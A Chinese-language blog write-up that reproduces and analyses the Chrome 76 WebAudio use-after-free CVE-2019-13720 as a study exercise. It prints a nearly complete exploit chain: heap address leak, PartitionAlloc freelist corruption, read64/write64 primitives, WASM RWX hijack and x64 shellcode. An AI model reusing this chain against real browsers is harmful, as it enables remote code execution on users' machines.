分析 CVE-2019-13720
CVE-2019-13720
分析卡巴斯基 2019 年披露的在野利用 CVE-2019-13720。
漏洞分析
复现
分析报告 记录了受影响的 Chrome 版本号 76.0.3809.87,依照获取旧版本的 Chrome 中记录的方法,构建出 Chrome.exe。
ℹ️NOTE:编译使用的 Clang 与最新的 MSVC 运行时不兼容,编译此版本需要安装 Visual Studio 2017
从分析报告提取出 POC 代码片段,拼凑成一个完整的 POC 页面,代码中缺少 getPartitionPageFreeListHeadEntryBySlotSize
函数,先补充一个空函数,稍后理解了 POC 后再把它补上了。
python -m http.server 为 POC 页面搭建一个本地站点,Chrome.exe 访问 http://localhost:8000/ 确认可以触发漏洞。
Web Audio API
ℹ️NOTE
POC 用到了很多 Web Audio API 相关的对象,推荐先看下 MDN 相关页面:
Web Audio API 提供了流式处理音频数据的能力,支持音频解码,音效处理等常用操作。
用法:先创建 AudioContext 对象,再创建多个音频节点,将它们连到一起组成音频处理图。AudioContext 对象有一个特殊的 desination 节点,代表最终输出的音频。处理图从源节点开始,到目的节点结束,中间可以连接多个音效节点。启动处理任务,音频数据就沿着图到达各个中间节点,经过中间节点的处理,再继续流转到下个节点。
ℹ️NOTE: 就类似于把电吉他、效果器、音箱等用线连好,之后在电吉他上进行操作,电吉他采集到的声音数据就顺着导线,经过效果器的处理,最终达到音箱播放出来。
示例代码:
const audioCtx = new AudioContext();
// load some sound
const audioElement = document.querySelector('audio');
const track = audioCtx.createMediaElementSource(audioElement);
// volume
const gainNode = audioCtx.createGain();
// panning
const pannerOptions = {pan: 0};
const panner = new StereoPannerNode(audioCtx, pannerOptions);
// connect our graph
track.connect(gainNode).connect(panner).connect(audioCtx.destination);
// audioElement.play();
处理好的声音也可以不播放出来,而是缓存起来。OfflineAudioContext
就实现了这样的处理流程,它会启动一个后台处理任务,在后台工作线程中处理音频,处理结果保存到缓存中,待处理完成后供主线程使用。
成因
漏洞是在 ConvolerNode 节点的处理逻辑中,这个节点属于音效处理节点,用来对音频进行混响(Convolution Reverb),混响是音频信号处理中的一种算法,用来把声音进行叠加处理,模拟真实环境中的声音传播时的反射和叠加,漏洞和其算法细节关系不大,可以把它当做一种黑盒算法,输入就是原始的音频数据和 Impulse Response (IR)两个向量(多维数组),输出就是混淆处理后的数据。IR 参数也是音频数据,JavaScript 中通过给 ConvolerNode.buffer 赋值来设置 IR 的值,对应的是 CPP 函数 ConvolverHandler::SetBuffer
。漏洞就在这个函数里,给 SetBuffer
传一个空值时,它会释放 revert_
和 shared_buffer_
两个成员变量,但是这个操作没有加锁同步,如果其他线程正在使用这两个成员,就可能访问到释放后的内存。
ℹ️NOTE: 音频数据大多是多声道的,所以一般是用一个向量来表示的,向量的维度和声道一致,例如:单声道用一维向量,立体声用二维向量。漏洞利用过程中用到的都是单声道的一维向量。
void ConvolverHandler::SetBuffer(AudioBuffer* buffer,
ExceptionState& exception_state) {
DCHECK(IsMainThread());
if (!buffer) {
reverb_.reset();
shared_buffer_ = nullptr;
return;
}
...
}
用 OfflineAudioContext
就可以构造出符合条件的场景,OfflineAudioContext
启动的音频处理任务是在后台工作线程中进行的,如果工作线程正要进行混响处理时,主线程中把 buffer
设置为 null
,那么工作线程后续处理就可能读/写到已经释放的内存。
ℹ️NOTE: JavaScript 解释器是在 renderer 进程的主线程中运行的,执行音频处理这种耗时操作可能会阻塞其他代码的运行,影响用户界面响应。为了解决这个问题,耗时操作在 JavaScript 中一般都是在其他工作线程中异步处理的
调试混响处理的流程,在下面这个函数中找到两个利用点:
void ReverbConvolver::Process(const AudioChannel* source_channel,
AudioChannel* destination_channel,
uint32_t frames_to_process) {
DCHECK(source_channel);
DCHECK(destination_channel);
DCHECK_GE(source_channel->length(), frames_to_process);
DCHECK_GE(destination_channel->length(), frames_to_process);
const float* source = source_channel->Data();
float* destination = destination_channel->MutableData();
DCHECK(source);
DCHECK(destination);
// Feed input buffer (read by all threads)
input_buffer_.Write(source, frames_to_process); // <<<
// Accumulate contributions from each stage
for (wtf_size_t i = 0; i < stages_.size(); ++i)
stages_[i]->Process(source, frames_to_process);
// Finally read from accumulation buffer
accumulation_buffer_.ReadAndClear(destination, frames_to_process); // <<<
// Now that we've buffered more input, post another task to the background
// thread.
if (background_thread_) {
PostCrossThreadTask(
*background_thread_->GetTaskRunner(), FROM_HERE,
CrossThreadBindOnce(&ReverbConvolver::ProcessInBackground,
CrossThreadUnretained(this)));
}
}
ReverbConvolver
是 reverb_
的成员,input_buffer_
和 accumulation_buffer_
这两个数组又是 ReverbConvolver 的成员,所以 reverb_ 析构时,input_buffer_
和 accumulation_buffer_
会被释放。如果释放后立刻执行到写入,input_buffer_.Write
就可以把数据写入释放后的内存。类似的 accumulation_buffer_.ReadAndClear
可以读到释放后的内存。
利用
PartitionAlloc
理解利用要先了解 PartitionAlloc 的元数据,下面的信息针对 76.0.3809.87 这个版本:
- PartitionAlloc 将堆分成多个 Partition,每种类型都固定从一个 Partition 申请内存,这样就可以把不同类型的对象在内存上隔离开,增加漏洞利用的难度。例如
ArrayBuffer
这种漏洞利用中常用的结构,被隔离到专用的 Partition 中,即使ArrayBuffer
出现了越界读写问题,仅借助越界读写是不能跨越界限读到其他 Partition 的内容的。 - PartitionAlloc 以 SuperPage (2 MiB) 为粒度从系统申请(预留)内存
- 每个 SuperPage 被分割成多个 PartitionPage (16 KiB),首尾两个 PartitionPage 除第一个 PartitionPage 中第二个物理页面会被提交,其他部分都预留为不可访问的 guard page
- 第一个 PartitionPage 中的特殊页面,用来存放元数据,元数据可以先简单看成总计 4 KiB 的
base::internal::PartitionPage
数组,数组中每一项都对应着一个 PartitionPage,结构中存储了此 PartitionPage 的空闲块链表头,后继页地址,当前页状态等信息。 例如:元数据数组下标 1 处,存放的就是第二个 PartitionPage 的元数据 注意这里有两个 PartionPage,一个代表页面的单位,另一个是代表存储元数据的结构体。 - PartitionPage 被分割成大小相同的内存块 (slot),元数据中的空闲链表里存放着本页面内所有空闲内存块,此链表是一个单链表,采用的是头插法
- 每个 Partition 都有一组桶,每个桶都对应一个特定的大小,桶内存储一个 PartitionPage 元数据的地址,此页面的内存块大小和桶的大小匹配。这样在申请内存时,可以根据目的大小快速找到对应的桶,从桶指向的页面的空闲列表中分配一个满足条件的内存块。
- 内存块释放时,PartitionAlloc 用内存块地址计算出其所在页面的元数据的地址,将其插入空闲链表中。计算方法:通过与位运算算出 SuperPage 的地址,位运算算出内存块所在 PartitionPage 相对 SuperPage 的索引 i,最后通过 SuperPage + 4 KiB + i * sizeof(PartitionPage) 计算出元数据的地址。
更多内容参考:
创建 IIRFilters
申请一组 IIRFilter
供后续利用使用,其他信息后面用到时再说明。
function initialSetup() {
let audioCtx = new OfflineAudioContext(1, 20, 3000);
let feedForward = new Float64Array(2);
let feedback = new Float64Array(1);
feedback[0] = 1;
feedForward[0] = 0;
feedForward[1] = -1;
for (let i = 0; i < 512; i++)
iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}
泄露地址
accumulation_buffer_
和 input_buffer_
内部都有一个名为 buffer_
的 AudioArray
成员变量,负责管理内部缓冲区。AudioArray
直接从 PartitionAlloc 申请所需的内存。
AudioArray
的析构函数会释放之前申请的内存块,由 PartitionAlloc 把它插入所属页面的空闲链表,把下一个空闲块指针写入内存块开头的 8 字节。因此,在 ArrayBuffer
把缓冲区释放后再读取其内容,就可以读到后继空闲块的地址。漏洞利用的第一部分就是利用 accumulation_buffer_ 读取到这个地址。
ℹ️NOTE: 从 ParitionAlloc 申请的内存地址,存放在 AudioArray::allocation_
代码:
async function triggerUaF(doneCb) {
let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
let bufferSource = audioCtx.createBufferSource();
let convolver = audioCtx.createConvolver();
let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
let channelBuffer = audioCtx.createBuffer(1, 1, 48000);
convolver.buffer = channelBuffer;
bufferSource.buffer = channelBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
channelBuffer.getChannelData(0).fill(0);
bufferSource.connect(convolver);
convolver.connect(scriptNode);
scriptNode.connect(audioCtx.destination);
bufferSource.start();
let finished = false;
scriptNode.onaudioprocess = function(evt) {
let channelDataArray =
new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);
for (let j = 0; j < channelDataArray.length; j++) {
if (j + 1 < channelDataArray.length &&
channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
let u64Array = new BigUint64Array(1);
let u32Array = new Uint32Array(u64Array.buffer);
u32Array[0] = channelDataArray[j + 0];
u32Array[1] = channelDataArray[j + 1];
let leakedAddr = byteSwapBigInt(u64Array[0]);
if (leakedAddr >> BigInt(32) > BigInt(0x8000))
leakedAddr -= BigInt(0x800000000000);
let superPageBase = getSuperPageBase(leakedAddr);
if (superPageBase > BigInt(0xFFFFFFFF) &&
superPageBase < BigInt(0xFFFFFFFFFFFF)) {
finished = true;
evt = null;
bufferSource.disconnect();
scriptNode.disconnect();
convolver.disconnect();
setTimeout(function() {
doneCb(leakedAddr);
}, 1);
return;
}
}
}
};
audioCtx.startRendering().then(function(buffer) {
buffer = null;
if (!finished) {
finished = true;
triggerUaF(doneCb);
}
});
while (!finished) {
convolver.buffer = null;
convolver.buffer = channelBuffer;
await later(100); // wait 100 millseconds
}
}
function later(delay) {
return new Promise(resolve => setTimeout(resolve, delay));
}
function byteSwapBigInt(x) {
let result = BigInt(0);
let tmp = x;
for (let i = 0; i < 8; i++) {
result = result << BigInt(8);
result += tmp & BigInt(0xFF);
tmp = tmp >> BigInt(8);
}
return result;
}
思路如下:
- 创建一段全 0 的音频数据 channelBuffer
- 创建节点:
- 音源节点 bufferSource,以 channelBuffer 为输入
- 混响处理节点 convolerNode,IR 参数为 channelBuffer
- 脚本处理节点 scriptNode,利用其 onaudioprocess 事件处理函数,检查混响输出的数据
- 连接上面的所有节点,构造 bufferSouce -> convolerNode -> scriptNode -> destination 处理图,其中 destination 是
OfflineAudioContext
内部的特殊节点,代表数据处理的结果 - 调用
startRendering()
函数,启动音频处理任务,这个函数返回的是Promise
对象,调用其then
设置一个回调函数,在任务完成后检查漏洞是否利用成功,如果没成功则递归调用 trigerUaF 继续触发漏洞 startRendering
只是发送一个任务到音频处理线程,不会等待任务的处理,在其返回后主线程继续执行后续代码,执行到 while 循环,不断的在null
和channelBuffer
之间赋值混淆节点的buffer
。
对全 0 数据做混响,得到的结果应该还是全 0,如果混响的结果中包含了非 0 数据,就说明漏洞被成功触发了,混响过程中读到了下一个空闲块的指针。scriptNode 的事件处理就是在检查混响输出的数据,在其中查找这个指针,这个指针是大小端翻转过的,在读取到以后要用 byteSwapBigInt
把它复原。
ℹ️NOTE: PartitionAlloc 为了缓解漏洞利用,把空闲链表的指针大小端翻转存储。
计算 IIRFilter.feedforward_ 地址
IIRFilter
内部也有一个 AudioArray
成员 IIRFilter::feedforward_
。用上一步泄露出的地址,加上固定的偏移,就可以计算出 IIRFilter.feedforward_
的地址。
ℹ️NOTE: 水平所限我不能确定这个固定偏移的来源,我推测是每次 JavaScript
代码运行过程中分配的对象大致相同,整体占用内存也不多,就使得两块内存一般在同一个 SuperPage 中且间隔页面大致固定。
function initialUAFCallback(addr) {
let partitionPageIndexDelta = undefined;
sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);
switch (majorVersion) {
case 77: // 77.0.3865.75
partitionPageIndexDelta = BigInt(-26);
break;
case 76: // 76.0.3809.87
partitionPageIndexDelta = BigInt(-25);
break;
}
iirFilterFeedforwardAllocationPtr =
getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) +
partitionPageIndexDelta) + BigInt(0x1FF0);
triggerSecondUAF(
byteSwapBigInt(iirFilterFeedforwardAllocationPtr),
finalUAFCallback
);
}
释放 IIRFilter.feedforward_
async function triggerSecondUAF(addr, doneCb) {
let counter = 0;
let numChannels = 1;
let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);
let bufferSource = audioCtx.createBufferSource();
let convolver = audioCtx.createConvolver();
let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);
smallAudioBuffer.getChannelData(0).fill(0);
for (let i = 0; i < numChannels; i++) {
let channelDataArray =
new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
channelDataArray[0] = addr;
}
bufferSource.buffer = bigAudioBuffer;
convolver.buffer = smallAudioBuffer;
bufferSource.loop = true;
bufferSource.loopStart = 0;
bufferSource.loopEnd = 1;
bufferSource.connect(convolver);
convolver.connect(audioCtx.destination);
bufferSource.start();
let finished = false;
audioCtx.startRendering().then(function (buffer) {
buffer = null;
if (finished) {
audioCtx = null;
setTimeout(doneCb, 200);
return;
} else {
finished = true;
setTimeout(function () {
triggerSecondUAF(addr, doneCb);
}, 1);
}
});
while (!finished) {
counter++;
convolver.buffer = null;
await later(1); // wait 1 millisecond
if (finished)
break;
for (let i = 0; i < iirFilters.length; i++) {
floatArray.fill(0);
iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
if (floatArray[0] != 3.1415927410125732) {
finished = true;
// << 申请被释放掉的 IIRFilter.feedforward_
audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
bufferSource.disconnect();
convolver.disconnect();
return;
}
}
await later(1); // wait 1 millisecond
convolver.buffer = smallAudioBuffer;
}
}
用 IIRFilter.Feewordward_
的地址把 AudioBuffer
填满,之后再次触发漏洞,利用 accumulation_buffer_
,把 IIRFilter.feedforward_
的地址写入释放后的内存块开头,就相当于把 IIRFilter.feedforward_
指向的缓冲区插入 accumulation_buffer_
所属页面的空闲链表。
IIRFilter.feedforward_
和 accumulation_buffer_
两个内存块的大小不同,所属页面也一定不同,IIRFilter.feedforward_
其实是被插入到了错误的链表上,但是这并不影响漏洞利用,后续对 AudioArray::Allocate
函数调用会申请到这块内存,之后这块内存再次被释放时,释放动作就会把它插入到正确的页面中,就修正了之前的错误。
ℹ️NOTE: 我调试来看由于利用代码故意选择了 0xf0 结尾的内存地址,此内存块的地址不满足 AudioBuffer
的 0x20 对齐要求,AudioBuffer
在申请到以后并不会使用这块内存,直接就释放了。
woid AudioArray::Allocate(size_t n) {
// Although n is a size_t, its true limit is max unsigned because we use
// unsigned in zeroRange() and copyToRange(). Also check for integer
// overflow.
CHECK_LE(n, std::numeric_limits<unsigned>::max() / sizeof(T));
uint32_t initial_size = static_cast<uint32_t>(sizeof(T) * n);
#if defined(ARCH_CPU_X86_FAMILY) || defined(WTF_USE_WEBAUDIO_FFMPEG)
const unsigned kAlignment = 32;
#else
const unsigned kAlignment = 16;
#endif
if (allocation_)
WTF::Partitions::FastFree(allocation_);
bool is_allocation_good = false;
while (!is_allocation_good) {
// Initially we try to allocate the exact size, but if it's not aligned
// then we'll have to reallocate and from then on allocate extra.
static unsigned extra_allocation_bytes = 0;
unsigned total =
base::CheckAdd(initial_size, extra_allocation_bytes).ValueOrDie();
T* allocation = static_cast<T*>(WTF::Partitions::FastZeroedMalloc(
total, WTF_HEAP_PROFILER_TYPE_NAME(AudioArray<T>)));
CHECK(allocation);
T* aligned_data = AlignedAddress(allocation, kAlignment);
if (aligned_data == allocation || extra_allocation_bytes == kAlignment) {
allocation_ = allocation;
aligned_data_ = aligned_data;
size_ = static_cast<uint32_t>(n);
is_allocation_good = true;
} else {
// always allocate extra after the first alignment failure.
extra_allocation_bytes = kAlignment;
WTF::Partitions::FastFree(allocation);
}
}
}
通过 IIRFilter.getFrequencyResponse
函数读取 IIRFilter::feedforwwrd_
存储的数据,运算后写入输出缓冲区。正常情况下 IIRFilter::feedforward_
内容是 0, 运算结果是 π。漏洞利用成功后 IIRFilter::feedforwrd_
的内容被改写成了空闲链表的下一项指针,返回值也一定改变了,所以通过此函数可以判断漏洞是否利用成功。
IIRFilter:: feedforward_
使用 0x30 字节的缓冲区, ArrayBufferContents::DataHolder
也占 0x30 字节,把 IIRFilter::feedforward_
插入空闲链表后,再申请 ArrayBufferContents::DataHolder
,就可以把 IIRFilter::feedforward_
所在内存块再次申请出来,这样就得到指向同一个内存块的 IIRFilter::feedforward_
和 ArrayBufferContent::DataHolder
ℹ️NOTE: IIRFilter::feedforward_
存储两个 double 仅需要 0x10 字节,但由于 AudioArray
的对齐要求,会多申请 0x20 字节,所以实际使用的 0x30 字节的内存块。
- ArrayBufferContents::DataHolder
- 0x00 ref_count_ 引用计数
- 0x08 data_ 缓冲区,属于 ArrayBufferPartition
- 0x10 data_length_ 缓冲区长度
- 0x18 deleter_ 释放函数
- 0x20 deleter_info_ 释放附加信息
- 0x28 is_shared_
- 0x2C has_registerd_external_allocation_
ArrayBufferContents::DataHolder
被用在 WTF::ArrayBuffer
内部,管理从 PartitionAlloc 申请的内存块。而 WTF::ArrayBuffer
又被 blink::AudioBuffer
、blink::ImageData
用做内部数据存储。这样一来,创建 AudioBuffer
、ImageData
,就相当于创建 ArrayBufferContents::DataHolder
。代码 audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
就是在创建
ArrayBufferContents::DataHolder 来占坑刚刚被释放的
IIRFilter::feedforward_`。
任意地址读写
async function finalUAFCallback() {
for (let i = 0; i < 256; i++) {
floatArray.fill(0);
iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);
if (floatArray[0] != 3.1415927410125732) {
await collectGargabe();
audioBufferArray2 = [];
for (let j = 0; j < 80; j++)
audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));
iirFilters = new Array(1);
await collectGargabe();
for (let j = 0; j < 336; j++)
imageDataArray.push(new ImageData(1, 2));
imageDataArray = new Array(10);
await collectGargabe();
for (let j = 0; j < audioBufferArray1.length; j++) {
let auxArray = new
BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
if (auxArray[0] != BigInt(0)) {
kickPayload(auxArray);
return;
}
}
return;
}
}
}
function collectGargabe() {
let promise = new Promise(function (cb) {
let arg;
for (let i = 0; i < 400; i++)
new ArrayBuffer(1024 * 1024 * 60).buffer;
cb(arg);
});
return promise;
}
IIRFilter
、ImageData
、AudioBuffer
这几个对象,及其内部的一些成员,是由 Oilpan GC 管理的,为了确保它们在特定的时刻被释放,需要主动触发 GC,collectGarbage
函数通过申请多个 ArrayBuffer
占用大量内存来触发 GC。
我们已经构造出使用同一地址的 IIRFilter::feedforward_
和 ArrayBufferContents::DataHolder
两个对象。接下来把 IIRFilter
销毁,再创建另一个 ArrayBufferContents::DataHolder
对象,由于两个对象共用同一块内存,此操作就相当于把前一个 ArrayBufferContents::DataHolder
的内容改写掉了。之后再把第二个 DataHolder
销毁, DataHolder
的第一个 QWORD 的值被改为空闲链表的下一项,但由于这个地方存储的是引用计数 ref_count_
,改写后还是一个合理的引用计数,并不影响 DataHolder
后续使用。而 0x10 处存放的缓冲区 DataHolder::data_
内容不变,但是其所指向的内存已经被释放掉了。这个缓冲区可以通过 ArrayBuffer::getChannelData(0).buffer
访问到,这样我们通过第一个 DataHolder
就可以访问到已经被释放的 DataHolder::data_
。
async function kickPayload(auxArray) {
let audioCtx = new OfflineAudioContext(1, 1, 3000);
let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
auxArray[0] = byteSwapBigInt(partitionPagePtr);
let i = 0;
do {
gcPreventer.push(new ArrayBuffer(8));
if (++i > 0x100000)
return;
} while (auxArray[0] != BigInt(0));
let freelist = new BigUint64Array(new ArrayBuffer(8));
gcPreventer.push(freelist);
...
以 audioBufferArray1[j].getChannelData(0).buffer
为缓冲,创建一个 BigUint64Array
auxArray
就可以读写这块已经释放的内存。auxArray
开头的 8 字节已经被写入后继空闲块的地址,读出这个地址,计算出本页面元数据的地址,用元数据的地址替换后续空闲块地址,之后申请多个 8 字节的 ArrayBuffer
,直到 auxArray
被填充成 0。auxArray
只有到被当做 ArrayBuffer
分配出来时,才会被 ArrayBuffer
的构造函数填 0。这个时候元数据中的 FreeListHead,已经被写入了之前在 auxArray[0]
中存储的值 &FreeListHead
,也就是说这个时候 FreeListHead 指向了它本身。之后在申请 8 字节的 ArrayBuffer
,就把 FreeListHead 所在内存块当做 ArrayBuffer
分配出,这样一来,修改 freelist[0]
的值,就相当于修改 FreeListHead 的指向。把 freelist[0]
改成任意地址,再申请 8 字节的 ArrayBuffer
,就得到了指向这个地址 ArrayBuffer
,也就是得到了任意地址读写的能力。另外由于 FreeListHead 已经被我们“挪用”了,为了保证利用代码的稳定,申请到的 8 字节对象都不能再被释放了,需要加入到 gcPreventer 数组中防止 GC 回收。
ℹ️NOTE*: 卡巴斯基的分析中提到,这部分代码还有整理碎片内存,提升漏洞利用稳定性的作用,水平所限我还不能理解这部分功能,这里先忽略了。
function read64(rwHelper, addr) {
rwHelper[0] = addr;
var tmp = new BigUint64Array;
tmp.buffer;
gcPreventer.push(tmp);
return byteSwapBigInt(rwHelper[0]);
}
function write64(rwHelper, addr, value) {
rwHelper[0] = addr;
var tmp = new BigUint64Array(1);
tmp.buffer;
tmp[0] = value;
gcPreventer.push(tmp);
}
freeList
配合上这两个函数,就可以实现任意内存读写了。read64
把目标地址填入链表头,之后申请内存,就相当于读取链表头地址的前 8 字节,交换大小端后存入链表头。write64
把目标地址存入链表头,之后申请内存,申请到的内存块就指向之前填入的地址,写入此内存块就是写入目标地址。
执行 shellcode
接下来执行 shellcode:
- 实例化 WASM 模块构造一段 RWX 内存区域,将导出函数 main 赋值到 wasmFuncA
- 预测 fileReaderLoader 的地址
- 创建 fileReader,将 fileReader.onerror 设置为 wasmFuncA
- 用 fileReaderLoader 计算出 fileReader 的地址,再从 fileReader 的事件处理中读取到 wasmFuncA ,最终读取到 RWX 内存区的地址
- 预测
WTF::ArrayBuffer
的地址,之后创建AudioBuffer
- 根据预测的
ArrayBuffer
的地址,改写ArrayBuffer
指向到 RWX 内存区域 - 把 shellcode 写入
ArrayBuffer
- 调用 wasmFuncA,触发 shellcode 执行
获取 filereaderLoader 对象地址的方法需要额外说明下,前面介绍过每个 Partition 都有一组桶,用来查找包含指定大小内存块的 PartitionPage,如果可以读到这个桶中当前存放的数据,就可以预测到下次内存分配的结果,getPartitionPageFreeListHeadEntryBySlotSize
就是按照这个思路实现的,PartitionPage 的元数据中存放了指向桶的指针,已知 iirFilterFeedforwardAllocationPtr
指向 0x30 字节的内存块,可以利用它的值读到 0x30 的桶,所有的桶共都存储在同一个数组中,有了 0x30 的桶,我们加上固定的偏移,就可以得到其他大小的桶。从桶中读出活动页面 PartitionPage 元数据的指针,再从元数据中读出下一个空闲内存块的地址。
async function kickPayload(auxArray) {
...
// 接上部分
const wasmBuffer = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
const wasmBlob = new Blob([wasmBuffer], {
type: "application/wasm"
});
const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
let result = await WebAssembly.instantiateStreaming(fetch(wasmUrl), {})
wasmFuncA = result.instance.exports.main;
// 预测 fileReaderLoader 地址
let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist,
iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
return;
fileReader.readAsArrayBuffer(new Blob([]));
let fileReaderLoaderTestPtr =
getPartitionPageFreeListHeadEntryBySlotSize(freelist,
iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
return;
// 设置 fileReader 的 onerror 事件处理
fileReader.onerror = wasmFuncA;
// fileReaderLoader -> fileReader -> onerror/wasmFuncA -> RWX
let fileReaderPtr = read64(freelist,
fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist,
jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist,
sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist,
wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
case 77:
stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
break;
case 76:
stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
break;
}
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);
// 预测 ArrayBuffer 的地址
let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
return;
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);
// 修改 DataHolder 的 data_ 和 data_length_
let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));
// 用 shellcode 改写 wasmFuncA
let shellcode = new Uint8Array([
0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58,
0x60, 0x48, 0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48,
0x8B, 0x1B, 0x48, 0x8B, 0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49,
0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C, 0x01, 0xC3, 0x48, 0x31,
0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1, 0xE9, 0x08,
0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44,
0x8B, 0x5A, 0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44,
0x8B, 0x62, 0x24, 0x4D, 0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59,
0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2, 0x51, 0x48, 0x8B, 0x0C,
0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83, 0x4C, 0x01,
0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41,
0x8B, 0x04, 0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31,
0xC9, 0x80, 0xC1, 0x07, 0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91,
0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7, 0xD0, 0x48, 0xC1, 0xE8,
0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF, 0x49, 0x89,
0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7,
0xD0, 0x50, 0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83,
0xEC, 0x30, 0x66, 0x81, 0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6
]);
let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
// FreeListHead 填 0
write64(freelist, partitionPagePtr, BigInt(0));
try {
wasmFuncA();
} catch (e) { }
}
function getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirAddr, slot_size) {
let meta = getPartitionPageMetadataArea(iirAddr);
let getMetaByPageIndex = function (i) {
const sizeOfMeta = BigInt(0x20);
return meta + BigInt(i) * sizeOfMeta;
}
const offsetBucket = BigInt(0x10);
let slot = read64(freelist, meta + offsetBucket);
const offsetSlotSize = BigInt(0x18);
const maskSlotSize = BigInt(0xffffffff);
const offsetActivePage = BigInt(0);
curSlotSize = read64(freelist, slot + offsetSlotSize) & maskSlotSize;
let bucket = undefined;
let bucket_size = 0;
let delta = BigInt(0);
switch (slot_size) {
default:
throw 'invalid slot size';
break; case 0x140:
delta = BigInt(0x2c0);
break; case 0x20:
delta = BigInt(-128);
}
let getSlotSize = (slot) => read64(freelist,
slot + delta + offsetSlotSize) & maskSlotSize;
let getSlotHead = (slot) => read64(freelist,
slot + delta + offsetActivePage);
next_slot = read64(freelist, getSlotHead(slot));
return next_slot;
}
Reference
- https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html
- https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/
- https://www.anquanke.com/post/id/244743